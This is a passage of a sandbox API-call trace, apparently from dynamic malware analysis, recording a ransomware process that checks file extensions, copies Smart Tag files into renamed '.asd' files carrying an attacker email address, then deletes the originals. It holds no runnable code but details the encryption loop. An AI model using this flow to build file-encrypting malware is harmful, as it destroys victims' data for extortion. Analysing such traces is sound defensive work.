tag\\lists\\1033\\stocks.dat")) returned 1 [0052.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0052.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0052.019] lstrlenW (lpString=".doc") returned 4 [0052.019] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0052.019] lstrlenW (lpString=".docx") returned 5 [0052.019] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0052.019] lstrlenW (lpString=".pdf") returned 4 [0052.019] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0052.019] lstrlenW (lpString=".xls") returned 4 [0052.019] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0052.019] lstrlenW (lpString=".xlsx") returned 5 [0052.019] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0052.019] lstrlenW (lpString=".ppt") returned 4 [0052.019] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0052.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0052.019] lstrlenW (lpString=".zip") returned 4 [0052.020] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0052.020] lstrlenW (lpString=".rar") returned 4 [0052.020] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0052.020] lstrlenW (lpString=".bz2") returned 4 [0052.020] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0052.020] lstrlenW (lpString=".7z") returned 3 [0052.020] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0052.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0052.020] lstrlenW (lpString=".dbf") returned 4 [0052.020] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0052.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0052.020] lstrlenW (lpString=".1cd") returned 4 [0052.020] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0052.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0052.020] lstrlenW (lpString=".jpg") returned 4 [0052.020] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0052.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0052.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0052.020] lstrlenW (lpString=".doc") returned 4 [0052.020] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0052.020] lstrlenW (lpString=".docx") returned 5 [0052.020] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0052.020] lstrlenW (lpString=".pdf") returned 4 [0052.020] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0052.020] lstrlenW (lpString=".xls") returned 4 [0052.020] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0052.020] lstrlenW (lpString=".xlsx") returned 5 [0052.020] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0052.020] lstrlenW (lpString=".ppt") returned 4 [0052.020] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0052.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0052.021] lstrlenW (lpString=".zip") returned 4 [0052.021] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0052.021] lstrlenW (lpString=".rar") returned 4 [0052.021] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0052.021] lstrlenW (lpString=".bz2") returned 4 [0052.021] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0052.021] lstrlenW (lpString=".7z") returned 3 [0052.021] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0052.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0052.021] lstrlenW (lpString=".dbf") returned 4 [0052.021] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0052.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0052.021] lstrlenW (lpString=".1cd") returned 4 [0052.021] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0052.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0052.021] lstrlenW (lpString=".jpg") returned 4 [0052.021] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0052.021] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0052.021] lstrlenW (lpString="STOCKS.XML") returned 10 [0052.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.022] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=2687) returned 1 [0052.022] CloseHandle (hObject=0x204) returned 1 [0052.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0052.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.022] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.022] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.023] GetLastError () returned 0x0 [0052.023] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0xa7f, lpOverlapped=0x0) returned 1 [0052.025] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xa80, lpOverlapped=0x0) returned 1 [0052.026] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0052.026] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe8, lpOverlapped=0x0) returned 1 [0052.027] SetEndOfFile (hFile=0x1f4) returned 1 [0052.027] CloseHandle (hObject=0x1f4) returned 1 [0052.027] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.027] SetEndOfFile (hFile=0x204) returned 1 [0052.028] CloseHandle (hObject=0x204) returned 1 [0052.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0052.028] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0052.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0052.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0052.028] lstrlenW (lpString=".doc") returned 4 [0052.028] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.028] lstrlenW (lpString=".docx") returned 5 [0052.028] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0052.028] lstrlenW (lpString=".pdf") returned 4 [0052.028] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.028] lstrlenW (lpString=".xls") returned 4 [0052.028] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.028] lstrlenW (lpString=".xlsx") returned 5 [0052.028] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0052.028] lstrlenW (lpString=".ppt") returned 4 [0052.028] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0052.029] lstrlenW (lpString=".zip") returned 4 [0052.029] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.029] lstrlenW (lpString=".rar") returned 4 [0052.029] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.029] lstrlenW (lpString=".bz2") returned 4 [0052.029] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.029] lstrlenW (lpString=".7z") returned 3 [0052.029] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0052.029] lstrlenW (lpString=".dbf") returned 4 [0052.029] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0052.029] lstrlenW (lpString=".1cd") returned 4 [0052.029] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0052.029] lstrlenW (lpString=".jpg") returned 4 [0052.029] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0052.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0052.029] lstrlenW (lpString=".doc") returned 4 [0052.029] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.029] lstrlenW (lpString=".docx") returned 5 [0052.029] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0052.029] lstrlenW (lpString=".pdf") returned 4 [0052.029] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.029] lstrlenW (lpString=".xls") returned 4 [0052.029] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.029] lstrlenW (lpString=".xlsx") returned 5 [0052.029] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0052.029] lstrlenW (lpString=".ppt") returned 4 [0052.030] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0052.030] lstrlenW (lpString=".zip") returned 4 [0052.030] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.030] lstrlenW (lpString=".rar") returned 4 [0052.030] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.030] lstrlenW (lpString=".bz2") returned 4 [0052.030] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.030] lstrlenW (lpString=".7z") returned 3 [0052.030] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0052.030] lstrlenW (lpString=".dbf") returned 4 [0052.030] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0052.030] lstrlenW (lpString=".1cd") returned 4 [0052.030] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0052.030] lstrlenW (lpString=".jpg") returned 4 [0052.030] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.030] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0052.030] lstrlenW (lpString="TIME.XML") returned 8 [0052.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.031] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=8564) returned 1 [0052.031] CloseHandle (hObject=0x204) returned 1 [0052.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0052.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.031] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.031] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.031] GetLastError () returned 0x0 [0052.031] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x2174, lpOverlapped=0x0) returned 1 [0052.040] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x2180, lpOverlapped=0x0) returned 1 [0052.041] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0052.041] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe4, lpOverlapped=0x0) returned 1 [0052.042] SetEndOfFile (hFile=0x1f4) returned 1 [0052.042] CloseHandle (hObject=0x1f4) returned 1 [0052.042] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.042] SetEndOfFile (hFile=0x204) returned 1 [0052.043] CloseHandle (hObject=0x204) returned 1 [0052.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0052.043] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0052.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0052.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0052.043] lstrlenW (lpString=".doc") returned 4 [0052.043] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.043] lstrlenW (lpString=".docx") returned 5 [0052.043] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0052.043] lstrlenW (lpString=".pdf") returned 4 [0052.043] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.043] lstrlenW (lpString=".xls") returned 4 [0052.044] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.044] lstrlenW (lpString=".xlsx") returned 5 [0052.044] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0052.044] lstrlenW (lpString=".ppt") returned 4 [0052.044] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0052.044] lstrlenW (lpString=".zip") returned 4 [0052.044] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.044] lstrlenW (lpString=".rar") returned 4 [0052.044] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.044] lstrlenW (lpString=".bz2") returned 4 [0052.044] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.044] lstrlenW (lpString=".7z") returned 3 [0052.044] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0052.044] lstrlenW (lpString=".dbf") returned 4 [0052.044] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0052.044] lstrlenW (lpString=".1cd") returned 4 [0052.044] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0052.044] lstrlenW (lpString=".jpg") returned 4 [0052.044] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0052.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0052.044] lstrlenW (lpString=".doc") returned 4 [0052.044] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.044] lstrlenW (lpString=".docx") returned 5 [0052.044] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0052.044] lstrlenW (lpString=".pdf") returned 4 [0052.044] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.044] lstrlenW (lpString=".xls") returned 4 [0052.045] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.045] lstrlenW (lpString=".xlsx") returned 5 [0052.045] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0052.045] lstrlenW (lpString=".ppt") returned 4 [0052.045] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0052.045] lstrlenW (lpString=".zip") returned 4 [0052.045] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.045] lstrlenW (lpString=".rar") returned 4 [0052.045] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.045] lstrlenW (lpString=".bz2") returned 4 [0052.045] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.045] lstrlenW (lpString=".7z") returned 3 [0052.045] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0052.045] lstrlenW (lpString=".dbf") returned 4 [0052.045] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0052.045] lstrlenW (lpString=".1cd") returned 4 [0052.045] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0052.045] lstrlenW (lpString=".jpg") returned 4 [0052.045] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.045] lstrcmpiW (lpString1=".XSL", lpString2=".asd") returned 1 [0052.045] lstrlenW (lpString="BASMLA.XSL") returned 10 [0052.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.046] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=227311) returned 1 [0052.046] CloseHandle (hObject=0x204) returned 1 [0052.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0052.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.046] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.046] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.047] GetLastError () returned 0x0 [0052.047] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x377ef, lpOverlapped=0x0) returned 1 [0052.108] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0052.112] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0052.112] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe8, lpOverlapped=0x0) returned 1 [0052.112] SetEndOfFile (hFile=0x1f4) returned 1 [0052.113] CloseHandle (hObject=0x1f4) returned 1 [0052.113] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0052.113] SetEndOfFile (hFile=0x204) returned 1 [0052.115] CloseHandle (hObject=0x204) returned 1 [0052.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0052.115] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0052.115] 